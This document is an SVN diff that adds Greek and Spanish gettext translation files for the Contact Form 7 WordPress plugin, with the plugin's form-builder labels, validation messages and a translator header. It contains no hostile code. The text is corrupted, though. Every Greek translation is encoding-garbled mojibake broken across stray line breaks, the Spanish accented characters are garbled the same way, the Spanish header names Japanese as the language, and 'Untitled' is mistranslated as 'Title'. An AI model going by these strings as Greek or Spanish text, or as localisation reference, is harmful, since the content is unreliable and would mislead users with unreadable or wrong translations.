+#: contact-form-7/admin/admin-panel.php:244
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Î ÎºÏÎŽÎ¹ÎºÎ±Ï ÏÎ¿Ï
+ ÎµÎ¹ÏÎ®Î³Î±Î³Îµ Î¿ Î±ÏÎ¿ÏÏÎ¿Î»Î­Î±Ï ÎŽÎµÎœ ÏÎ±Î¹ÏÎ¹Î¬Î¶ÎµÎ¹ ÎŒÎµ ÏÎ¿ CAPTCHA."
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Uploading a file fails for any reason"
+msgstr "ÎÏÎ¿ÏÏ
+ÏÎ¯Î± ÎŒÎµÏÎ±ÏÎ¿ÏÎ¬Ï Î±ÏÏÎµÎ¯Î¿Ï
+ Î³Î¹Î± Î¿ÏÎ¿Î¹Î¿ÎœÎŽÎ®ÏÎ¿ÏÎµ Î»ÏÎ³Î¿."
+
+#: contact-form-7/admin/admin-panel.php:252
+msgid "Uploaded file is not allowed file type"
+msgstr "Î ÏÏÏÎ¿Ï Î±ÏÏÎµÎ¯Î¿Ï
+ ÏÎ¿Ï
+ ÎŒÎµÏÎ±ÏÎ­ÏÎžÎ·ÎºÎµ ÎŽÎµÎœ ÎµÎ¯ÎœÎ±Î¹ ÎµÏÎ¹ÏÏÎµÏÏÏÏ."
+
+#: contact-form-7/admin/admin-panel.php:256
+msgid "Uploaded file is too large"
+msgstr "Î€Î¿ Î±ÏÏÎµÎ¯Î¿ ÏÎ¿Ï
+ ÎŒÎµÏÎ±ÏÎ­ÏÎžÎ·ÎºÎµ ÎµÎ¯ÎœÎ±Î¹ ÏÎ¿Î»Ï ÎŒÎµÎ³Î¬Î»Î¿."
+
+#: contact-form-7/admin/admin-panel.php:269
+msgid "Additional Settings"
+msgstr "ÎÏÎ¹ÏÏÏÏÎžÎµÏÎµÏ ÏÏ
+ÎžÎŒÎ¯ÏÎµÎ¹Ï"
+
+#: contact-form-7/admin/admin.php:157
+msgid "optional"
+msgstr "ÏÏÎ¿Î±Î¹ÏÎµÏÎ¹ÎºÏ"
+
+#: contact-form-7/admin/admin.php:158
+msgid "Generate Tag"
+msgstr "ÎÎ·ÎŒÎ¹Î¿Ï
+ÏÎ³Î¯Î± ÎµÏÎ¹ÎºÎ­ÏÎ±Ï"
+
+#: contact-form-7/admin/admin.php:159
+msgid "Text field"
+msgstr "Î ÎµÎŽÎ¯Î¿ ÎºÎµÎ¹ÎŒÎ­ÎœÎ¿Ï
+"
+
+#: contact-form-7/admin/admin.php:160
+msgid "Email field"
+msgstr "Î ÎµÎŽÎ¯Î¿ email"
+
+#: contact-form-7/admin/admin.php:161
+msgid "Text area"
+msgstr "Î ÎµÏÎ¹Î¿ÏÎ® ÎºÎµÎ¹ÎŒÎ­ÎœÎ¿Ï
+"
+
+#: contact-form-7/admin/admin.php:162
+msgid "Drop-down menu"
+msgstr "ÎÎœÎ±ÎŽÎ¹ÏÎ»Î¿ÏÎŒÎµÎœÎ¿ ÎŒÎµÎœÎ¿Ï"
+
+#: contact-form-7/admin/admin.php:163
+msgid "Checkboxes"
+msgstr "Checkboxes"
+
+#: contact-form-7/admin/admin.php:164
+msgid "Radio buttons"
+msgstr "Radio buttons"
+
+#: contact-form-7/admin/admin.php:165
+msgid "Acceptance"
+msgstr "ÎÏÎ¿ÎŽÎ¿ÏÎ®"
+
+#: contact-form-7/admin/admin.php:166
+msgid "Make this checkbox checked by default?"
+msgstr "Î€Î¿ checkbox ÎœÎ± ÎµÎ¯ÎœÎ±Î¹ ÏÎ·ÎŒÎµÎ¹ÏÎŒÎ­ÎœÎ¿ ÎµÎº ÏÏÎ¿ÎµÏÎ¹Î»Î¿Î³Î®Ï;"
+
+#: contact-form-7/admin/admin.php:167
+msgid "Make this checkbox work inversely?"
+msgstr "ÎÎœÏÎ¯ÏÏÏÎ¿ÏÎ· Î»ÎµÎ¹ÏÎ¿Ï
+ÏÎ³Î¯Î± ÏÎ¿Ï
+ checkbox;"
+
+#: contact-form-7/admin/admin.php:168
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ÎÏ
+ÏÏ ÏÎ·ÎŒÎ±Î¯ÎœÎµÎ¹ ÏÏÎ¹ Î¿ ÎµÏÎ¹ÏÎºÎ­ÏÏÎ·Ï ÏÎ¿Ï
+ Î±ÏÎ¿ÎŽÎ­ÏÎµÏÎ±Î¹ ÏÎ¿Ï
+Ï ÏÏÎ¿Ï
+Ï ÏÎ¿ Î±ÏÎ¿ÏÎ·ÎŒÎµÎ¹ÏÎœÎµÎ¹."
+
+#: contact-form-7/admin/admin.php:169
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Quiz"
+msgstr "ÎÎ¿Ï
+ÎÎ¶"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Quizzes"
+msgstr "ÎÎ¿Ï
+ÎÎ¶"
+
+#: contact-form-7/admin/admin.php:172
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* ÎºÎ¿Ï
+ÎÎ¶|Î±ÏÎ¬ÎœÏÎ·ÏÎ· (ÏÏ. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:173
+msgid "File upload"
+msgstr "ÎÎµÏÎ±ÏÎ¿ÏÎ¬ Î±ÏÏÎµÎ¯Î¿Ï
+"
+
+#: contact-form-7/admin/admin.php:174
+msgid "bytes"
+msgstr "bytes"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Submit button"
+msgstr "Î Î»Î®ÎºÏÏÎ¿ Ï
+ÏÎ¿Î²Î¿Î»Î®Ï"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Name"
+msgstr "ÎÎœÎ¿ÎŒÎ±"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Required field?"
+msgstr "Î¥ÏÎ¿ÏÏÎµÏÏÎ¹ÎºÏ ÏÎµÎŽÎ¯Î¿;"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Allow multiple selections?"
+msgstr "ÎÏÎ¹ÏÏÎ­ÏÎ¿ÎœÏÎ±Î¹ ÏÎ¿Î»Î»Î±ÏÎ»Î­Ï ÎµÏÎ¹Î»Î¿Î³Î­Ï;"
+
+#: contact-form-7/admin/admin.php:179
+msgid "Insert a blank item as the first option?"
+msgstr "ÎÎ¹ÏÎ±Î³ÏÎ³Î® ÎµÎœÏÏ ÎºÎµÎœÎ¿Ï Î±ÎœÏÎ¹ÎºÎµÎ¹ÎŒÎ­ÎœÎ¿Ï
+ ÏÏ ÏÏÏÏÎ· ÎµÏÎ¹Î»Î¿Î³Î®;"
+
+#: contact-form-7/admin/admin.php:180
+msgid "Make checkboxes exclusive?"
+msgstr "Î€Î± checkboxes ÎœÎ± ÎµÎ¯ÎœÎ±Î¹ ÎŒÎ¿ÎœÎ®Ï ÎµÏÎ¹Î»Î¿Î³Î®Ï;"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Choices"
+msgstr "ÎÏÎ¹Î»Î¿Î³Î­Ï"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Label"
+msgstr "ÎÎµÎ¯ÎŒÎµÎœÎ¿ ÏÎ»Î®ÎºÏÏÎ¿Ï
+"
+
+#: contact-form-7/admin/admin.php:183
+msgid "Default value"
+msgstr "Î ÏÎ¿ÎµÏÎ¹Î»ÎµÎ³ÎŒÎ­ÎœÎ· ÏÎ¹ÎŒÎ®"
+
+#: contact-form-7/admin/admin.php:184
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:185
+msgid "This field requires author's name"
+msgstr "ÎÏ
+ÏÏ ÏÎ¿ ÏÎµÎŽÎ¯Î¿ Î±ÏÎ±Î¹ÏÎµÎ¯ ÏÎ¿ ÏÎœÎ¿ÎŒÎ± ÏÎ¿Ï
+ ÏÏ
+ÎœÏÎ¬ÎºÏÎ·."
+
+#: contact-form-7/admin/admin.php:186
+msgid "This field requires author's URL"
+msgstr "ÎÏ
+ÏÏ ÏÎ¿ ÏÎµÎŽÎ¯Î¿ Î±ÏÎ±Î¹ÏÎµÎ¯ ÏÎ¿ URL ÏÎ¿Ï
+ ÏÏ
+ÎœÏÎ¬ÎºÏÎ·."
+
+#: contact-form-7/admin/admin.php:187
+msgid "This field requires author's email address"
+msgstr "ÎÏ
+ÏÏ ÏÎ¿ ÏÎµÎŽÎ¯Î¿ Î±ÏÎ±Î¹ÏÎµÎ¯ ÏÎ· ÎŽÎ¹ÎµÏÎžÏ
+ÎœÏÎ· email ÏÎ¿Ï
+ ÏÏ
+ÎœÏÎ¬ÎºÏÎ·."
+
+#: contact-form-7/admin/admin.php:188
+msgid "Copy this code and paste it into the form left."
+msgstr "ÎÎœÏÎ¹Î³ÏÎ¬ÏÏÎµ ÏÎ¿Îœ ÎºÏÎŽÎ¹ÎºÎ± ÎºÎ±Î¹ ÎµÏÎ¹ÎºÎ¿Î»Î»Î®ÏÏÎµ ÏÎ¿Îœ ÏÏÎ· ÏÏÏÎŒÎ± Î±ÏÎ¹ÏÏÎµÏÎ¬."
+
+#: contact-form-7/admin/admin.php:189
+msgid "Foreground color"
+msgstr "Î§ÏÏÎŒÎ± ÏÏÎ¿ÏÎºÎ·ÎœÎ¯Î¿Ï
+"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Background color"
+msgstr "Î§ÏÏÎŒÎ± ÏÏÎœÏÎ¿Ï
+"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Image size"
+msgstr "ÎÎ­Î³ÎµÎžÎ¿Ï ÎµÎ¹ÎºÏÎœÎ±Ï"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Small"
+msgstr "ÎÎ¹ÎºÏÏ"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Medium"
+msgstr "ÎÎµÏÎ±Î¯Î¿"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Large"
+msgstr "ÎÎµÎ³Î¬Î»Î¿"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Image settings"
+msgstr "Î¡Ï
+ÎžÎŒÎ¯ÏÎµÎ¹Ï ÎµÎ¹ÎºÏÎœÎ±Ï"
+
+#: contact-form-7/admin/admin.php:196
+msgid "Input field settings"
+msgstr "Î¡Ï
+ÎžÎŒÎ¯ÏÎµÎ¹Ï ÏÎµÎŽÎ¯Î¿Ï
+ ÎµÎ¹ÏÎ±Î³ÏÎ³Î®Ï"
+
+#: contact-form-7/admin/admin.php:197
+msgid "For image"
+msgstr "ÎÎ¹Î± ÏÎ·Îœ ÎµÎ¹ÎºÏÎœÎ±"
+
+#: contact-form-7/admin/admin.php:198
+msgid "For input field"
+msgstr "ÎÎ¹Î± ÏÎ¿ ÏÎµÎŽÎ¯Î¿ ÎµÎ¹ÏÎ±Î³ÏÎ³Î®Ï"
+
+#: contact-form-7/admin/admin.php:199
+msgid "* One choice per line."
+msgstr "* ÎÎ¯Î± ÎµÏÎ¹Î»Î¿Î³Î® Î±ÎœÎ¬ Î³ÏÎ±ÎŒÎŒÎ®."
+
+#: contact-form-7/admin/admin.php:200
+msgid "Show"
+msgstr "ÎÎŒÏÎ¬ÎœÎ¹ÏÎ·"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Hide"
+msgstr "ÎÏÏÎºÏÏ
+ÏÎ·"
+
+#: contact-form-7/admin/admin.php:202
+msgid "File size limit"
+msgstr "ÎÏÎ¹Î¿ ÎŒÎµÎ³Î­ÎžÎ¿Ï
+Ï Î±ÏÏÎµÎ¯Î¿Ï
+"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Acceptable file types"
+msgstr "ÎÏÎ¹ÏÏÎµÏÏÎŒÎµÎœÎ¿Î¹ ÏÏÏÎ¿Î¹ Î±ÏÏÎµÎ¯ÏÎœ"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Î£Î·ÎŒÎµÎ¯ÏÏÎ·: ÎÎ¹Î± ÎœÎ± ÏÏÎ·ÏÎ¹ÎŒÎ¿ÏÎ¿Î¹Î®ÏÎµÏÎµ ÏÎ¿ CAPTCHA, ÏÏÎ­ÏÎµÎ¹ ÎœÎ± Î­ÏÎµÏÎµ ÎµÎ³ÎºÎ±ÏÎµÏÏÎ·ÎŒÎ­ÎœÎ¿ ÏÎ¿ ÏÏÏÏÎžÎµÏÎ¿ Really Simple CAPTCHA."
+
+#: contact-form-7/admin/admin.php:223
+msgid "Contact form created."
+msgstr "Î ÏÏÏÎŒÎ± ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±Ï ÎŽÎ·ÎŒÎ¹Î¿Ï
+ÏÎ³Î®ÎžÎ·ÎºÎµ."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form saved."
+msgstr "Î ÏÏÏÎŒÎ± ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±Ï Î±ÏÎ¿ÎžÎ·ÎºÎµÏÏÎ·ÎºÎµ."
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form deleted."
+msgstr "Î ÏÏÏÎŒÎ± ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±Ï ÎŽÎ¹Î±Î³ÏÎ¬ÏÎ·ÎºÎµ."
+
+#: contact-form-7/admin/admin.php:240
+msgid "Untitled"
+msgstr "Î§ÏÏÎ¯Ï ÏÎ¯ÏÎ»Î¿"
+
+#: contact-form-7/admin/admin.php:253
+msgid "Your Name"
+msgstr "Î€Î¿ ÏÎœÎ¿ÎŒÎ¬ ÏÎ±Ï"
+
+#: contact-form-7/admin/admin.php:253
+#: contact-form-7/admin/admin.php:255
+msgid "(required)"
+msgstr "(Î±ÏÎ±ÏÎ±Î¯ÏÎ·ÏÎ¿)"
+
+#: contact-form-7/admin/admin.php:255
+msgid "Your Email"
+msgstr "Î€Î¿ email ÏÎ±Ï"
+
+#: contact-form-7/admin/admin.php:257
+msgid "Subject"
+msgstr "ÎÎ­ÎŒÎ±"
+
+#: contact-form-7/admin/admin.php:259
+msgid "Your Message"
+msgstr "Î€Î¿ ÎŒÎ®ÎœÏ
+ÎŒÎ¬ ÏÎ±Ï"
+
+#: contact-form-7/admin/admin.php:261
+#: contact-form-7/includes/classes.php:411
+msgid "Send"
+msgstr "ÎÏÎ¿ÏÏÎ¿Î»Î®"
+
+#: contact-form-7/admin/admin.php:334
+msgid "Settings"
+msgstr "Î¡Ï
+ÎžÎŒÎ¯ÏÎµÎ¹Ï"
+
+#: contact-form-7/admin/admin.php:355
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 needs your support. Please donate today."
+
+#: contact-form-7/admin/admin.php:356
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Is this plugin useful for you? If you like it, please help the developer."
+
+#: contact-form-7/admin/admin.php:357
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Your contribution is needed for making this plugin better."
+
+#: contact-form-7/admin/admin.php:358
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Developing a plugin and providing user support is really hard work. Please help."
+
+#: contact-form-7/includes/classes.php:352
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "ÎÎ¹Î± ÎœÎ± ÏÏÎ·ÏÎ¹ÎŒÎ¿ÏÎ¿Î¹Î®ÏÎµÏÎµ CAPTCHA, ÏÏÎµÎ¹Î¬Î¶ÎµÏÎ±Î¹ ÎœÎ± Î­ÏÎµÏÎµ ÎµÎ³ÎºÎ±ÏÎµÏÏÎ·ÎŒÎ­ÎœÎ¿ ÏÎ¿ ÏÏÏÏÎžÎµÏÎ¿ <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a>."
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Î€Î¿ ÎŒÎ®ÎœÏ
+ÎŒÎ¬ ÏÎ±Ï ÏÏÎ¬Î»ÎžÎ·ÎºÎµ ÎµÏÎ¹ÏÏ
+ÏÏÏ. ÎÏ
+ÏÎ±ÏÎ¹ÏÏÎ¿ÏÎŒÎµ."
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ÎÏÎ¿ÏÏ
+ÏÎ¯Î± ÎºÎ±ÏÎ¬ ÏÎ·Îœ Î±ÏÎ¿ÏÏÎ¿Î»Î® ÏÎ¿Ï
+ ÎŒÎ·ÎœÏÎŒÎ±ÏÏÏ ÏÎ±Ï. Î Î±ÏÎ±ÎºÎ±Î»Ï ÎŽÎ¿ÎºÎ¹ÎŒÎ¬ÏÏÎµ Î±ÏÎ³ÏÏÎµÏÎ± Î® ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ®ÏÏÎµ ÎŒÎµ ÏÎ¿ ÎŽÎ¹Î±ÏÎµÎ¹ÏÎ¹ÏÏÎ® ÎŒÎµ Î¬Î»Î»Î¿Îœ ÏÏÏÏÎ¿."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Î£Ï
+ÎœÎ­Î²Î·ÏÎ±Îœ ÏÏÎ¬Î»ÎŒÎ±ÏÎ± ÎµÎ³ÎºÏ
+ÏÏÏÎ·ÏÎ±Ï. Î Î±ÏÎ±ÎºÎ±Î»Ï ÎµÎ»Î­Î³ÎŸÏÎµ ÏÎ± ÏÎµÎŽÎ¯Î± ÎºÎ±Î¹ Ï
+ÏÎ¿Î²Î¬Î»Î»ÎµÏÎµ ÏÎ¿ ÎŒÎ®ÎœÏ
+ÎŒÎ± ÎŸÎ±ÎœÎ¬."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "Î Î±ÏÎ±ÎºÎ±Î»Ï Î±ÏÎ¿ÎŽÎµÏÎžÎµÎ¯ÏÎµ ÏÎ¿Ï
+Ï ÏÏÎ¿Ï
+Ï Î³Î¹Î± ÎœÎ± ÏÏ
+ÎœÎµÏÎ¯ÏÎµÏÎµ."
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Î ÎŽÎ¹ÎµÏÎžÏ
+ÎœÏÎ· email ÎŽÎµÎ¯ÏÎœÎµÎ¹ Î¬ÎºÏ
+ÏÎ·."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "Î Î±ÏÎ±ÎºÎ±Î»Ï ÏÏ
+ÎŒÏÎ»Î·ÏÏÏÏÎµ ÏÎ± Î±ÏÎ±ÏÎ±Î¯ÏÎ·ÏÎ± ÏÎµÎŽÎ¯Î±."
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Î ÎºÏÎŽÎ¹ÎºÏÏ ÏÎ¿Ï
+ ÎµÎ¹ÏÎ¬Î³Î±ÏÎµ ÎŽÎµÎœ ÎµÎ¯ÎœÎ±Î¹ ÏÏÏÏÏÏ."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "Î Î±ÏÎ¬ÎœÏÎ·ÏÎ® ÏÎ±Ï ÎŽÎµÎœ ÎµÎ¯ÎœÎ±Î¹ ÏÏÏÏÎ®."
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "ÎÏÎ¿ÏÏ
+ÏÎ¯Î± ÎºÎ±ÏÎ¬ ÏÎ· ÎŒÎµÏÎ±ÏÎ¿ÏÎ¬ ÏÎ¿Ï
+ Î±ÏÏÎµÎ¯Î¿Ï
+."
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "ÎÏ
+ÏÏÏ Î¿ ÏÏÏÎ¿Ï Î±ÏÏÎµÎ¯Î¿Ï
+ ÎŽÎµÎœ ÎµÎ¯ÎœÎ±Î¹ ÎµÏÎ¹ÏÏÎµÏÏÏÏ."
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Î€Î¿ Î±ÏÏÎµÎ¯Î¿ ÎµÎ¯ÎœÎ±Î¹ ÏÎ¿Î»Ï ÎŒÎµÎ³Î¬Î»Î¿."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-es_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-es_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-es_ES.po	(revision 44)
@@ -0,0 +1,437 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-01 05:19+0900\n"
+"PO-Revision-Date: 2009-02-06 07:11-0300\n"
+"Last-Translator: Matias Baldanza <matiasbaldanza@gmail.com>\n"
+"Language-Team: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:413
+msgid "Contact form"
+msgstr "Formulario de contacto"
+
+#: contact-form-7/wp-contact-form-7.php:582
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "optional"
+msgstr "opcional"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Generate Tag"
+msgstr "Generar Etiqueta"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "Text field"
+msgstr "Campo de texto"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Email field"
+msgstr "Campo de email"
+
+#: contact-form-7/wp-contact-form-7.php:609
+msgid "Text area"
+msgstr "Area de texto"
+
+#: contact-form-7/wp-contact-form-7.php:610
+msgid "Drop-down menu"
+msgstr "MenÃº desplegable"
+
+#: contact-form-7/wp-contact-form-7.php:611
+msgid "Checkboxes"
+msgstr "Casillas de verificaciÃ³n"
+
+#: contact-form-7/wp-contact-form-7.php:612
+msgid "Radio buttons"
+msgstr "Botones de opciÃ³n"
+
+#: contact-form-7/wp-contact-form-7.php:613
+msgid "Acceptance"
+msgstr "AceptaciÃ³n"
+
+#: contact-form-7/wp-contact-form-7.php:614
+msgid "Make this checkbox checked by default?"
+msgstr "Â¿Hacer que esta casilla estÃ© marcada por defecto?"
+
+#: contact-form-7/wp-contact-form-7.php:615
+msgid "Make this checkbox work inversely?"
+msgstr "Â¿Hacer que esta casilla funcione a la inversa?"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Significa que el visitante que acepta los tÃ©rminos tiene que quitar el tilde de la casilla."
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Quiz"
+msgstr "Acertijo"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Quizzes"
+msgstr "Acertijos"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* acertijo|respuesta (por ejemplo 1+1=?|2)"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "File upload"
+msgstr "Subida de archivos"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "Submit button"
+msgstr "BotÃ³n enviar"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Name"
+msgstr "Nombre"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Required field?"
+msgstr "Â¿Campo requerido?"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Allow multiple selections?"
+msgstr "Â¿Permitir selecciones mÃºltiples?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Insert a blank item as the first option?"
+msgstr "Â¿Insertar un elemento en blanco como primer opciÃ³n?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "Make checkboxes exclusive?"
+msgstr "Â¿Hacer que las casillas sean mutuamente exclusivas?"
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "Choices"
+msgstr "Opciones"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Label"
+msgstr "Etiqueta"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Default value"
+msgstr "Valor por defecto"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "This field requires author's name"
+msgstr "Este campo quiere el nombre del autor"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "This field requires author's URL"
+msgstr "Este campo requiere la URL del autor"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "This field requires author's email address"
+msgstr "Este campo requiere la direcciÃ³n de email del autor"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "Copy this code and paste it into the form left."
+msgstr "Copia este cÃ³digo y pÃ©galo en el formulario a la izquierda."
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Foreground color"
+msgstr "Color de frente"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Background color"
+msgstr "Color de fondo"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Image size"
+msgstr "TamaÃ±o de imagen"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Small"
+msgstr "PequeÃ±o"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Medium"
+msgstr "Mediano"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Large"
+msgstr "Grande"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Image settings"
+msgstr "Opciones de imagen"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Input field settings"
+msgstr "Opciones de campo de entrada"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "For image"
+msgstr "Para imagen"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "For input field"
+msgstr "Para campo de entrada"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "* One choice per line."
+msgstr "* Una opciÃ³n por lÃ­nea"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "Show"
+msgstr "Mostrar"
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Hide"
+msgstr "Ocultar"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "File size limit"
+msgstr "Limite de tamaÃ±o de archivo"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "Acceptable file types"
+msgstr "Tipos de archivo aceptados"
+
+#: contact-form-7/wp-contact-form-7.php:676
+msgid "Contact form created."
+msgstr "Formulario de contacto \"%s\" creado. "
+
+#: contact-form-7/wp-contact-form-7.php:679
+msgid "Contact form saved."
+msgstr "Formulario de contacto \"%s\" guardado. "
+
+#: contact-form-7/wp-contact-form-7.php:682
+msgid "Contact form deleted."
+msgstr "Formulario de contacto \"%s\" eliminado. "
+
+#: contact-form-7/wp-contact-form-7.php:693
+msgid "Untitled"
+msgstr "TÃ­tulo"
+
+#: contact-form-7/wp-contact-form-7.php:720
+msgid "Your Name"
+msgstr "Tu nombre"
+
+#: contact-form-7/wp-contact-form-7.php:720
+#: contact-form-7/wp-contact-form-7.php:722
+msgid "(required)"
+msgstr "(obligatorio)"
+
+#: contact-form-7/wp-contact-form-7.php:722
+msgid "Your Email"
+msgstr "Tu email"
+
+#: contact-form-7/wp-contact-form-7.php:724
+msgid "Subject"
+msgstr "Asunto"
+
+#: contact-form-7/wp-contact-form-7.php:726
+msgid "Your Message"
+msgstr "Tu mensaje"
+
+#: contact-form-7/wp-contact-form-7.php:728
+#: contact-form-7/wp-contact-form-7.php:1451
+msgid "Send"
+msgstr "Enviar"
+
+#: contact-form-7/wp-contact-form-7.php:782
+msgid "Your message was sent successfully. Thanks."
+msgstr "Tu mensaje se ha enviado exitosamente. Muchas Gracias."
+
+#: contact-form-7/wp-contact-form-7.php:784
+#: contact-form-7/wp-contact-form-7.php:786
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Error al enviar el mensaje. Por favor intÃ©ntalo mÃ¡s tarde o contacta con el administrador por otro medio."
+
+#: contact-form-7/wp-contact-form-7.php:788
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Error de validaciÃ³n. Por favor confirma los campos y envÃ­a el formulario de nuevo"
+
+#: contact-form-7/wp-contact-form-7.php:790
+msgid "Please accept the terms to proceed."
+msgstr "Por favor acepta los tÃ©rminos y condiciones para continuar."
+
+#: contact-form-7/wp-contact-form-7.php:792
+msgid "Email address seems invalid."
+msgstr "El email parece incorrecto."
+
+#: contact-form-7/wp-contact-form-7.php:794
+msgid "Please fill the required field."
+msgstr "Por favor completa este campo."
+
+#: contact-form-7/wp-contact-form-7.php:796
+msgid "Your entered code is incorrect."
+msgstr "El cÃ³digo ingresado es incorrecto."
+
+#: contact-form-7/wp-contact-form-7.php:798
+msgid "Your answer is not correct."
+msgstr "Tu respuesta no es correcta."
+
+#: contact-form-7/wp-contact-form-7.php:800
+msgid "Failed to upload file."
+msgstr "FallÃ³ la subida del archivo."
+
+#: contact-form-7/wp-contact-form-7.php:802
+msgid "This file type is not allowed."
+msgstr "El tipo de archivo no estÃ¡ permitido."
